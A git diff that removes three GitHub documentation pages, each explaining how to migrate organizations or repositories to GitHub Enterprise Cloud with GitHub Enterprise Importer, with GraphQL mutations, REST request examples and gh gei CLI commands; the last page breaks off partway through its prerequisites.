a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-organizations-from-githubcom-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-organizations-from-githubcom-to-github-enterprise-cloud.md deleted file mode 100644 index 2fcce246ac66..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-organizations-from-githubcom-to-github-enterprise-cloud.md +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: Migrating organizations from GitHub.com to GitHub Enterprise Cloud -shortTitle: Migrate organizations from GitHub.com -intro: 'You can migrate organizations from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_cloud %}, using the {% data variables.product.prodname_cli %} or the GraphQL API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -defaultTool: cli -redirect_from: - - /early-access/enterprise-importer/migrating-organizations-with-github-enterprise-importer/migrating-organizations-from-githubcom-to-github-enterprise-cloud - - /migrations/using-github-enterprise-importer/migrating-organizations-with-github-enterprise-importer/migrating-organizations-from-githubcom-to-github-enterprise-cloud - - /migrations/using-github-enterprise-importer/migrating-organizations-with-github-enterprise-importer ---- - -## About organization migrations with {% data variables.product.prodname_importer_proper_name %} - -Migrations to {% data variables.product.prodname_ghe_cloud %} include migrations between accounts on {% data variables.product.prodname_dotcom_the_website %} and, if you're adopting {% data variables.enterprise.data_residency_short %}, migrations to your enterprise's subdomain of {% data variables.enterprise.data_residency_site %}. - -{% data reusables.enterprise-migration-tool.tool-options %} - -{% cli %} -{% data reusables.enterprise-migration-tool.gei-tool-switcher-api %} -{% endcli %} -{% api %} -{% data reusables.enterprise-migration-tool.gei-tool-switcher-cli %} -{% endapi %} - -## Prerequisites - -* {% data reusables.enterprise-migration-tool.github-trial-prerequisite %} -* {% data reusables.enterprise-migration-tool.link-to-support-limitations %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products). -* {% data reusables.enterprise-migration-tool.delta-migrations-not-supported %} -* For the source organization, you must be an organization owner or have the migrator role. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#about-the-migrator-role). -* For the destination enterprise account, you must be an enterprise owner. - -{% api %} - -## Step 0: Get ready to use the {% data variables.product.prodname_dotcom %} GraphQL API - -{% data reusables.enterprise-migration-tool.migration-query-method %} - -## Step 1: Get the enterprise ID for your migration destination - -As an enterprise owner in {% data variables.product.prodname_dotcom_the_website %}, use the following query to return the ID for the enterprise account you want to own the migrated organization. You'll need the enterprise ID to identify your migration destination. - -```graphql -query( - $slug: String! -){ - enterprise (slug: $slug) - { - slug - id - } -} -``` - -{% data reusables.enterprise_migrations.retrieve-enterprise-id-graphql %} - -## Step 2: Start your organization migration - -When you start a migration, a single organization and its accompanying data migrates into a brand new organization within the destination enterprise that you identify. - -```graphql -mutation startOrganizationMigration ( - $sourceOrgUrl: URI!, - $targetOrgName: String!, - $targetEnterpriseId: ID!, - $sourceAccessToken: String!, - $targetAccessToken: String! -){ - startOrganizationMigration( input: { - sourceOrgUrl: $sourceOrgUrl, - targetOrgName: $targetOrgName, - targetEnterpriseId: $targetEnterpriseId, - sourceAccessToken: $sourceAccessToken, - targetAccessToken: $targetAccessToken - }) { - orgMigration { - id - } - } -} -``` - -| Query variable | Description | -|----|----| -`sourceOrgUrl` | The URL of the source organization, such as `https://github.com/octo-org`. -`targetOrgName` | The name you want the new organization to have. Cannot be shared by another organization on your destination platform. -`targetEnterpriseId` | The ID of the enterprise that you want to create the new organization in, returned by step 2. -`sourceAccessToken` | Your {% data variables.product.pat_v1 %} for the source organization. For requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). -`targetAccessToken` | Your {% data variables.product.pat_v1 %} for the destination enterprise. - -In the next step, you'll use the migration ID returned from the `startOrganizationMigration` mutation to check the migration status. - -## Step 3: Check the status of your migration - -To detect any migration failures and ensure your migration is working, you can query the `OrganizationMigration`(s) that you have created to see the migration status using the `getMigration` query. - -The query will return with a status to let you know if the migration is `queued`, `in progress`, `failed`, or `completed`, plus information about how many repositories are waiting to be migrated. If your migration failed, the {% data variables.product.prodname_importer_secondary_name %} will provide a reason for the failure. - -```graphql -query ( - $id: ID! -){ - node( id: $id ) { - ... on OrganizationMigration { - id - sourceOrgUrl - targetOrgName - state - failure_reason - remaining_repositories_count - total_repositories_count - } - } -} -``` - -| Query variable | Description | -|----|----| -| `id` | The `id` of your migration. | - -{% endapi %} - -{% cli %} - -## Step 1: Install the {% data variables.product.prodname_gei_cli %} - -{% data reusables.enterprise-migration-tool.install-gei-extension-intro %} - -{% data reusables.enterprise-migration-tool.install-github-cli %} -{% data reusables.enterprise-migration-tool.install-gei-extension %} - -{% data reusables.enterprise-migration-tool.gei-help-flag %} - -## Step 2: Update the {% data variables.product.prodname_gei_cli %} - -{% data reusables.enterprise-migration-tool.update-gei-cli %} - -## Step 3: Set environment variables - -Before you can use the {% data variables.product.prodname_gei_cli_short %} to migrate to {% data variables.product.prodname_ghe_cloud %}, you must create {% data variables.product.pat_v1_plural %} that can access the source organization and destination enterprise, then set the {% data variables.product.pat_v1_plural %} as environment variables. - -1. Create and record a {% data variables.product.pat_generic %} that meets all the requirements to authenticate for the source organization for organization migrations. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#creating-a-personal-access-token-for-github-enterprise-importer). -1. Create and record a {% data variables.product.pat_v1 %} that meets all the requirements to authenticate for the destination enterprise for organization migrations. -1. Set environment variables for the {% data variables.product.pat_v1_plural %}, replacing TOKEN in the commands below with the {% data variables.product.pat_v1_plural %} you recorded above. Use `GH_PAT` for the destination enterprise and `GH_SOURCE_PAT` for the source organization. - - * If you're using Terminal, use the `export` command. - - ```shell copy - export GH_PAT="TOKEN" - export GH_SOURCE_PAT="TOKEN" - ``` - - * If you're using PowerShell, use the `$env` command. - - ```shell copy - $env:GH_PAT="TOKEN" - $env:GH_SOURCE_PAT="TOKEN" - ``` - -{% data reusables.enterprise-migration-tool.set-target-api-url %} - -## Step 4: Migrate your organization - -To migrate an organization, use the `gh gei migrate-org` command. - -```shell copy -gh gei migrate-org --github-source-org SOURCE --github-target-org DESTINATION --github-target-enterprise ENTERPRISE -``` - -> [!NOTE] {% data reusables.enterprise-migration-tool.add-target-api-url %} - -{% data reusables.enterprise-migration-tool.placeholder-table %} -{% data reusables.enterprise-migration-tool.source-placeholder %} -DESTINATION | The name you want the new organization to have. Cannot be shared by another organization on your destination platform. -ENTERPRISE | The slug for your destination enterprise, which you can identify by looking at the URL for your enterprise account, `https://github.com/enterprises/SLUG` or `https://SLUG.ghe.com`. - -## Step 5: Validate your migration and check the error log - -{% endcli %} -{% api %} - -## Step 4: Validate your migration and check the error log - -{% endapi %} - -After your migration has finished, we recommend that you check the migration log repository. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer#accessing-an-organization-migration-log). - -Finally, we recommend you perform a soundness check of your organization and migrated repositories. diff --git a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud.md deleted file mode 100644 index 0f9cad1c8a98..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud.md +++ /dev/null @@ -1,517 +0,0 @@ ---- -title: Migrating repositories from GitHub Enterprise Server to GitHub Enterprise Cloud -shortTitle: Migrate from Enterprise Server -intro: 'You can migrate repositories from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}, using the {% data variables.product.prodname_cli %} or API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -defaultTool: cli -redirect_from: - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-to-github-enterprise-cloud/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud - - /migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud ---- - -## About repository migrations with {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.tool-options %} - -{% api %} - -If you choose to use the API, you'll need to write your own scripts or use an HTTP client like [Insomnia](https://insomnia.rest/). You can learn more about getting started with {% data variables.product.company_short %}'s APIs in [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api) and [AUTOTITLE](/graphql/guides/forming-calls-with-graphql). - -To migrate your repositories from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} with the APIs, you will: - -1. Create a {% data variables.product.pat_generic %} for both the source and destination organization -1. Fetch the `ownerId` of the destination organization on {% data variables.product.prodname_ghe_cloud %} -1. Set up a migration source via {% data variables.product.prodname_dotcom %}'s GraphQL API to identify where you're migrating from -1. For each repository you want to migrate, repeat these steps. - * Use the REST API on {% data variables.location.product_location_enterprise %} to generate migration archives for your repository - * Upload your migration archives to a location where they can be accessed by {% data variables.product.prodname_dotcom %} - * Start your migration using the GraphQL API for your migration destination, passing in your archive URLs - * Check the status of your migration via the GraphQL API - * Validate your migration and check the error log - -{% endapi %} - -{% cli %} - -{% data reusables.enterprise-migration-tool.gei-tool-switcher-api %} - -{% endcli %} - -{% api %} - -{% data reusables.enterprise-migration-tool.gei-tool-switcher-cli %} - -{% endapi %} - -## Prerequisites - -* {% data reusables.enterprise-migration-tool.github-trial-prerequisite %} -* {% data reusables.enterprise-migration-tool.link-to-support-limitations %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products). -* {% data reusables.enterprise-migration-tool.delta-migrations-not-supported %} -* In both the source and destination organizations, you must be either an organization owner or be granted the migrator role. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#about-the-migrator-role). -* If you use {% data variables.product.prodname_ghe_server %} 3.8 or higher, to configure blob storage for exported archives, you need access to the {% data variables.enterprise.management_console %}. - -{% api %} - -## Step 1. Create your {% data variables.product.pat_generic %} - -{% data reusables.enterprise-migration-tool.create-pats %} - -## Step 2: Get the `ownerId` for the destination organization - -{% data reusables.enterprise-migration-tool.get-destination-ownerId-ec %} - -{% data reusables.enterprise-migration-tool.migration-destination-query %} - -## Step 3: Set up blob storage - -Because many {% data variables.product.prodname_ghe_server %} instances sit behind firewalls, for {% data variables.product.prodname_ghe_server %} versions 3.8 or higher, we use blob storage as an intermediate location to store your data that {% data variables.product.prodname_dotcom %} can access. - -You must first set up blob storage with a supported cloud provider, then configure your settings in the {% data variables.enterprise.management_console %} of {% data variables.location.product_location_enterprise %}. - -> [!NOTE] -> You only need to configure blob storage if you use {% data variables.product.prodname_ghe_server %} versions 3.8 or higher. If you use {% data variables.product.prodname_ghe_server %} versions 3.7 or lower, skip to [Step 4: Set up a migration source in {% data variables.product.prodname_ghe_cloud %}](#step-4-set-up-a-migration-source-in-github-enterprise-cloud). -> -> Blob storage is required to migrate repositories with large Git source or metadata. If you use {% data variables.product.prodname_ghe_server %} versions 3.7 or lower, you will not be able to perform migrations where your Git source or metadata exports exceed 2GB. To perform these migrations, update to {% data variables.product.prodname_ghe_server %} versions 3.8 or higher. - -### Setting up blob storage with a supported cloud provider - -{% data reusables.enterprise-migration-tool.supported-blob-storage-providers %} - -#### Setting up an AWS S3 storage bucket - -{% data reusables.enterprise-migration-tool.set-up-aws-bucket %} - -#### Setting up an Azure Blob Storage account - -{% data reusables.enterprise-migration-tool.set-up-azure-storage-account %} - -### Configuring blob storage in the {% data variables.enterprise.management_console %} of {% data variables.location.product_location_enterprise %} - -{% data reusables.enterprise-migration-tool.blob-storage-management-console %} - -### Allowing network access - -If you have configured firewall rules on your storage account, ensure you have allowed access to the IP ranges for your migration destination. See [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). - -## Step 4: Set up a migration source in {% data variables.product.prodname_ghe_cloud %} - -{% data reusables.enterprise-migration-tool.identify-migration-source-intro %} - -Your migration source is your organization on {% data variables.product.prodname_ghe_server %}. - -### `createMigrationSource` mutation - -```graphql -mutation createMigrationSource($name: String!, $url: String!, $ownerId: ID!) { - createMigrationSource(input: {name: $name, url: $url, ownerId: $ownerId, type: GITHUB_ARCHIVE}) { - migrationSource { - id - name - url - type - } - } -} -``` - -{% data reusables.enterprise-migration-tool.type-note-github-archive %} - -{% data reusables.enterprise-migration-tool.createMigrationSource-table-ec %} -| `url` | The URL for {% data variables.location.product_location_enterprise %}. This URL does not need to be accessible from {% data variables.product.prodname_ghe_cloud %}. - -### `createMigrationSource` response - -```json -{ - "data": { - "createMigrationSource": { - "migrationSource": { - "id": "MS_kgDaACRjZTY5NGQ1OC1mNDkyLTQ2NjgtOGE1NS00MGUxYTdlZmQwNWQ", - "name": "GHES Source", - "url": "https://my-ghes-hostname.com", - "type": "GITHUB_ARCHIVE" - } - } - } -} -``` - -In this example, `MS_kgDaACRjZTY5NGQ1OC1mNDkyLTQ2NjgtOGE1NS00MGUxYTdlZmQwNWQ` is the migration source ID, which we'll use in a later step. - -## Step 5: Generate migration archives on {% data variables.location.product_location_enterprise %} - -You will use the REST API to start two "migrations" in {% data variables.product.prodname_ghe_server %}: one to generate an archive of your repository's Git source, and one to generate an archive of your repository's metadata (such as issues and pull requests). - -To generate the Git source archive, make a `POST` request to `https://HOSTNAME/api/v3/orgs/ORGANIZATION/migrations`, replacing `HOSTNAME` with the hostname of {% data variables.location.product_location_enterprise %}, and `ORGANIZATION` with your organization's login. - -In the body, specify the single repository you want to migrate. Your request will look something like this: - -```http -POST /api/v3/orgs/acme-corp/migrations HTTP/1.1 -Accept: application/vnd.github+json -Authorization: Bearer -Content-Type: application/json -Host: github.acmecorp.net - -{ - "repositories": ["repository_to_migrate"], - "exclude_metadata": true -} -``` - -To generate your metadata archive, send a similar request to the same URL with the following body: - -```json -{ - "repositories": ["repository_to_migrate"], - "exclude_git_data": true, - "exclude_releases": false, - "exclude_owner_projects": true -} -``` - -Each of these two API calls will return a JSON response including the ID of the migration you have started. - -```http -HTTP/1.1 201 Created - -{ - "id": 123, - // ... -} -``` - -For more information, see [Start an organization migration](/rest/migrations/orgs#start-an-organization-migration). - -Generating the archives can take a while, depending on the amount of data. You can regularly check the status of the two migrations with the "Get an organization migration status" API until the `state` of the migration changes to `exported`. - -```http -GET /api/v3/orgs/acme-corp/migrations/123 HTTP/1.1 -Accept: application/vnd.github+json -Authorization: Bearer -Host: github.acmecorp.net - -HTTP/1.1 200 OK -Content-Type: application/json - -{ - "id": 123, - "state": "exported", - // ... -} -``` - -For more information, see [Get an organization migration status](/rest/migrations/orgs#get-an-organization-migration-status). - -> [!NOTE] -> If your migration moves to the `failed` state rather than the `exported` state, try starting the migration again. If the migration fails repeatedly, we recommend generating the archives using `ghe-migrator` instead of the API. -> ->Follow the steps in [Exporting migration data from your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise), adding only one repository to the migration. At the end of the process, you will have a single migration archive with your Git source and metadata, and you can move to step 6 in this article. - -After the `state` of a migration moves to `exported`, you can fetch the migration's URL using the "Download an organization migration archive" API. - -```http -GET /api/v3/orgs/acme-corp/migrations/123/archive HTTP/1.1 -Accept: application/vnd.github+json -Authorization: Bearer -Host: github.acmecorp.net - -HTTP/1.1 302 Found -Location: https://media.github.acmecorp.net/migrations/123/archive/cca2ebe9-7403-4ffa-9b6a-4c9e16c94410?token=AAAAABEWE7JP4H2HACKEGMTDOYRC6 -``` - -The API will return a `302 Found` response with a `Location` header redirecting to the URL where the downloadable archive is located. Download the two files: one for the Git source, and one for the metadata. - -For more information, see [Download an organization migration archive](/rest/migrations/orgs#download-an-organization-migration-archive). - -After both migrations have completed and you have downloaded the archives, you can move to the next step. - -## Step 6: Upload your migration archives - -To import your data into {% data variables.product.prodname_ghe_cloud %}, you must pass both archives for each repository (Git source and metadata) from your machine to {% data variables.product.prodname_dotcom %}, using our GraphQL API. - -If you're using {% data variables.product.prodname_ghe_server %} 3.7 or lower, you must first generate URLs for the archives that are accessible by {% data variables.product.prodname_dotcom %}. Most customers choose to upload the archives to a cloud provider's blob storage service, such as Amazon S3 or Azure Blob Storage, then generate a short-lived URL for each. - -If you're using {% data variables.product.prodname_ghe_server %} 3.8 or higher, your instance uploads the archives and generates the URLs for you. The `Location` header in the previous step will return the short-lived URL. - -You may need to allowlist {% data variables.product.company_short %}'s IP ranges. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). - -## Step 7: Start your repository migration - -{% data reusables.enterprise-migration-tool.start-repository-migration-ec %} - -### `startRepositoryMigration` mutation - -```graphql -mutation startRepositoryMigration ( - $sourceId: ID!, - $ownerId: ID!, - $repositoryName: String!, - $continueOnError: Boolean!, - $accessToken: String!, - $githubPat: String!, - $gitArchiveUrl: String!, - $metadataArchiveUrl: String!, - $sourceRepositoryUrl: URI!, - $targetRepoVisibility: String! -){ - startRepositoryMigration( input: { - sourceId: $sourceId, - ownerId: $ownerId, - repositoryName: $repositoryName, - continueOnError: $continueOnError, - accessToken: $accessToken, - githubPat: $githubPat, - targetRepoVisibility: $targetRepoVisibility - gitArchiveUrl: $gitArchiveUrl, - metadataArchiveUrl: $metadataArchiveUrl, - sourceRepositoryUrl: $sourceRepositoryUrl, - }) { - repositoryMigration { - id - migrationSource { - id - name - type - } - sourceUrl - } - } -} -``` - -{% data reusables.enterprise-migration-tool.startRepositoryMigration-table-ec %} -`gitArchiveUrl` | A {% data variables.product.prodname_ghe_cloud %}-accessible URL for your Git source archive. -`metadataArchiveUrl` | A {% data variables.product.prodname_ghe_cloud %}-accessible URL for your metadata archive. -`sourceRepositoryUrl` | The URL for your repository on your {% data variables.product.prodname_ghe_server %} instance. This is required, but {% data variables.product.prodname_ghe_cloud %} will not communicate directly with your {% data variables.product.prodname_ghe_server %} instance. - -For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). - -{% data reusables.enterprise-migration-tool.next-check-status %} - -## Step 8: Check the status of your migration - -{% data reusables.enterprise-migration-tool.check-migration %} - -## Step 9: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-log %} - -{% endapi %} - -{% cli %} - -## Step 1: Install the {% data variables.product.prodname_gei_cli %} - -{% data reusables.enterprise-migration-tool.install-gei-extension-intro %} - -{% data reusables.enterprise-migration-tool.gei-binary %} - -{% data reusables.enterprise-migration-tool.install-github-cli %} -{% data reusables.enterprise-migration-tool.install-gei-extension %} - -{% data reusables.enterprise-migration-tool.gei-help-flag %} - -## Step 2: Update the {% data variables.product.prodname_gei_cli %} - -{% data reusables.enterprise-migration-tool.update-gei-cli %} - -## Step 3: Set environment variables - -{% data reusables.enterprise-migration-tool.set-env-variables-gei %} - -{% data reusables.enterprise-migration-tool.create-pats %} -{% data reusables.enterprise-migration-tool.env-variables-gei %} - -## Step 4: Set up blob storage - -Because many {% data variables.product.prodname_ghe_server %} instances sit behind firewalls, we use blob storage as an intermediate location to store your data that {% data variables.product.prodname_dotcom %} can access. - -First, you must set up blob storage with a supported cloud provider. Then, you must configure your credentials for the storage provider in the {% data variables.enterprise.management_console %} or {% data variables.product.prodname_cli %}. - -### Setting up blob storage with a supported cloud provider - -{% data reusables.enterprise-migration-tool.supported-blob-storage-providers %} - -#### Setting up an AWS S3 storage bucket - -{% data reusables.enterprise-migration-tool.set-up-aws-bucket %} - -#### Setting up an Azure Blob Storage storage account - -{% data reusables.enterprise-migration-tool.set-up-azure-storage-account %} - -### Configuring your blob storage credentials - -After you set up blob storage with a supported cloud provider, you must configure your credentials for the storage provider in {% data variables.product.prodname_dotcom %}: - -* If you use {% data variables.product.prodname_ghe_server %} 3.8 or higher, configure your credentials in the {% data variables.enterprise.management_console %}. -* If you use {% data variables.product.prodname_ghe_server %} 3.7 or lower, configure the credentials in the {% data variables.product.prodname_cli %}. - -#### Configuring blob storage in the {% data variables.enterprise.management_console %} of {% data variables.location.product_location_enterprise %} - -> [!NOTE] -> You only need to configure blob storage in the {% data variables.enterprise.management_console %} if you use {% data variables.product.prodname_ghe_server %} 3.8 or higher. If you use 3.7 or lower, configure your credentials in the {% data variables.product.prodname_cli %} instead. - -{% data reusables.enterprise-migration-tool.blob-storage-management-console %} - -### Configuring your blob storage credentials in the {% data variables.product.prodname_cli %} - -> [!NOTE] -> You only need to configure your blob storage credentials in the {% data variables.product.prodname_cli %} if you use {% data variables.product.prodname_ghe_server %} 3.7 or lower. If you use 3.8 or higher, configure blob storage in the {% data variables.enterprise.management_console %} instead. -> -> If you configure your blob storage credentials in the {% data variables.product.prodname_cli %}, you will not be able to perform migrations where your Git source or metadata exports exceed 2GB. To perform these migrations, upgrade to {% data variables.product.prodname_ghe_server %} 3.8 or higher. - -#### Configuring AWS S3 credentials in the {% data variables.product.prodname_cli %} - -{% data reusables.enterprise-migration-tool.aws-credentials-cli %} - -#### Configuring Azure Blob Storage account credentials in the {% data variables.product.prodname_cli %} - -{% data reusables.enterprise-migration-tool.azure-credentials-cli %} - -### Allowing network access - -If you have configured firewall rules on your storage account, ensure you have allowed access to the IP ranges for your migration destination. See [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). - -## Step 5: Generate a migration script - -{% data reusables.enterprise-migration-tool.generate-migration-script %} - -If you want to migrate a single repository, skip to the next step. - -### Generating a migration script - -{% data reusables.enterprise-migration-tool.follow-step-from-computer-with-access %} - -{% data reusables.enterprise-migration-tool.gh-gei-generate-script %} - -For {% data variables.product.prodname_ghe_server %} 3.8 or later, or if you're using 3.7 or lower with Azure Blob Storage, use the following flags: - -```shell copy -gh gei generate-script --github-source-org SOURCE \ - --github-target-org DESTINATION \ - --output FILENAME \ - --ghes-api-url GHES-API-URL -``` - -If you're using {% data variables.product.prodname_ghe_server %} 3.7 or lower with AWS S3, use the following flags: - -```shell copy -gh gei generate-script --github-source-org SOURCE \ - --github-target-org DESTINATION \ - --output FILENAME \ - --ghes-api-url GHES-API-URL \ - --aws-bucket-name AWS-BUCKET-NAME -``` - -#### Placeholders - -{% data reusables.enterprise-migration-tool.generate-script-table %} -{% data reusables.enterprise-migration-tool.ghes-api-url-placeholder %} -{% data reusables.enterprise-migration-tool.aws-bucket-name-placeholder %} - -#### Additional arguments - -| Argument | Description | -| -------- | ----------- | -| `--target-api-url TARGET-API-URL` | {% data reusables.enterprise-migration-tool.add-target-api-url %} | -| `--no-ssl-verify` | {% data reusables.enterprise-migration-tool.ssl-flag %} | -| `--download-migration-logs` | Download the migration log for each migrated repository. For more information about migration logs, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer#downloading-all-migration-logs-for-an-organization). | - -### Reviewing the migration script - -{% data reusables.enterprise-migration-tool.review-migration-script %} - -{% data reusables.enterprise-migration-tool.skip-releases %} - -{% data reusables.enterprise-migration-tool.gei-binary-generate-script %} - -## Step 6: Migrate repositories - -{% data reusables.enterprise-migration-tool.migrate-repos-gei %} - -When you migrate repositories, the {% data variables.product.prodname_gei_cli %} performs the following steps: - -1. Connects to {% data variables.location.product_location_enterprise %} and generates two migration archives per repository, one for the Git source and one for the metadata -1. Uploads the migration archives to the blob storage provider of your choice -1. Starts your migration in {% data variables.product.prodname_ghe_cloud %}, using the URLs of the archives stored with your blob storage provider -1. Deletes the migration archive from your local machine - -### Migrate multiple repositories - -If you're migrating from {% data variables.product.prodname_ghe_server %} 3.7 or earlier, before you run your script, you must set additional environment variables to authenticate to your blob storage provider. - -* For Azure Blob Storage, set `AZURE_STORAGE_CONNECTION_STRING` to the connection string for your Azure storage account. - - {% data reusables.enterprise-migration-tool.azure-storage-connection-key %} -* For AWS S3, set the following environment variables. - * `AWS_ACCESS_KEY_ID`: The access key id for your bucket - * `AWS_SECRET_ACCESS_KEY`: The secret key for your bucket - * `AWS_REGION`: The AWS region where your bucket is located - * `AWS_SESSION_TOKEN`: The session token, if you're using AWS temporary credentials (see [Using temporary credentials with AWS resources](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_use-resources.html) in the AWS documentation) - -{% data reusables.enterprise-migration-tool.migrate-multiple-repos %} - -### Migrate a single repository - -{% data reusables.enterprise-migration-tool.follow-step-from-computer-with-access %} - -{% data reusables.enterprise-migration-tool.gei-migrate-repo %} - -If you're using {% data variables.product.prodname_ghe_server %} 3.8 or later, use the following flags: - -```shell copy -gh gei migrate-repo --github-source-org SOURCE --source-repo CURRENT-NAME --github-target-org DESTINATION --target-repo NEW-NAME --ghes-api-url GHES-API-URL -``` - -If you're migrating from {% data variables.product.prodname_ghe_server %} 3.7 or earlier and using Azure Blob Storage as your blob storage provider, use the following flags to authenticate: - -```shell copy -gh gei migrate-repo --github-source-org SOURCE --source-repo CURRENT-NAME --github-target-org DESTINATION --target-repo NEW-NAME \ - --ghes-api-url GHES-API-URL --azure-storage-connection-string "AZURE_STORAGE_CONNECTION_STRING" -``` - -If you're migrating from {% data variables.product.prodname_ghe_server %} 3.7 or earlier and using Amazon S3 as your blob storage provider, use the following flags to authenticate: - -```shell copy -gh gei migrate-repo --github-source-org SOURCE --source-repo CURRENT-NAME --github-target-org DESTINATION --target-repo NEW-NAME \ - --ghes-api-url GHES-API-URL --aws-bucket-name "AWS-BUCKET-NAME" -``` - -#### Placeholders - -{% data reusables.enterprise-migration-tool.migrate-repo-table-ec %} -{% data reusables.enterprise-migration-tool.ghes-api-url-placeholder %} -{% data reusables.enterprise-migration-tool.azure-storage-connection-string-placeholder %} -{% data reusables.enterprise-migration-tool.aws-bucket-name-placeholder %} - -#### Additional arguments - -| Argument | Description | -| -------- | ----------- | -| `--target-api-url TARGET-API-URL` | {% data reusables.enterprise-migration-tool.add-target-api-url %} | -| `--no-ssl-verify` | {% data reusables.enterprise-migration-tool.ssl-flag %} | -| `--skip-releases` | {% data reusables.enterprise-migration-tool.skip-releases %} | -| `--target-repo-visibility TARGET-VISIBILITY` | {% data reusables.enterprise-migration-tool.set-repository-visibility %} | - -#### Aborting the migration - -{% data reusables.enterprise-migration-tool.abort-migration %} - -```shell copy -gh gei abort-migration --migration-id MIGRATION-ID -``` - -## Step 7: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-logs %} - -After your migration has finished, we recommend deleting the archives from your storage container. If you plan to complete additional migrations, delete the archive placed into your storage container by the {% data variables.product.prodname_ado2gh_cli_short %}. If you're done migrating, you can delete the entire container. - -{% endcli %} diff --git a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-githubcom-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-githubcom-to-github-enterprise-cloud.md deleted file mode 100644 index 5eea87d3c797..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-githubcom-to-github-enterprise-cloud.md +++ /dev/null @@ -1,252 +0,0 @@ ---- -title: Migrating repositories from GitHub.com to GitHub Enterprise Cloud -shortTitle: Migrate repositories from GitHub.com -intro: 'You can migrate repositories from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_cloud %}, using the {% data variables.product.prodname_cli %} or the GraphQL API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -defaultTool: cli -redirect_from: - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-to-github-enterprise-cloud/migrating-repositories-from-githubcom-to-github-enterprise-cloud - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-githubcom-to-github-enterprise-cloud - - /migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-githubcom-to-github-enterprise-cloud ---- - -## About repository migrations with {% data variables.product.prodname_importer_proper_name %} - -Migrations to {% data variables.product.prodname_ghe_cloud %} include migrations between accounts on {% data variables.product.prodname_dotcom_the_website %} and, if you're adopting {% data variables.enterprise.data_residency_short %}, migrations to your enterprise's subdomain of {% data variables.enterprise.data_residency_site %}. - -{% data reusables.enterprise-migration-tool.tool-options %} - -{% cli %} -{% data reusables.enterprise-migration-tool.gei-tool-switcher-api %} -{% endcli %} -{% api %} -{% data reusables.enterprise-migration-tool.gei-tool-switcher-cli %} -{% endapi %} - -{% ifversion repo-rules-enterprise %} -{% data reusables.enterprise-migration-tool.deploy-key-bypass %} -{% endif %} - -## Prerequisites - -* {% data reusables.enterprise-migration-tool.github-trial-prerequisite %} -* {% data reusables.enterprise-migration-tool.link-to-support-limitations %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products). -* {% data reusables.enterprise-migration-tool.delta-migrations-not-supported %} -* In both the source and destination organization, you must be either an organization owner or be granted the migrator role. For more information, see 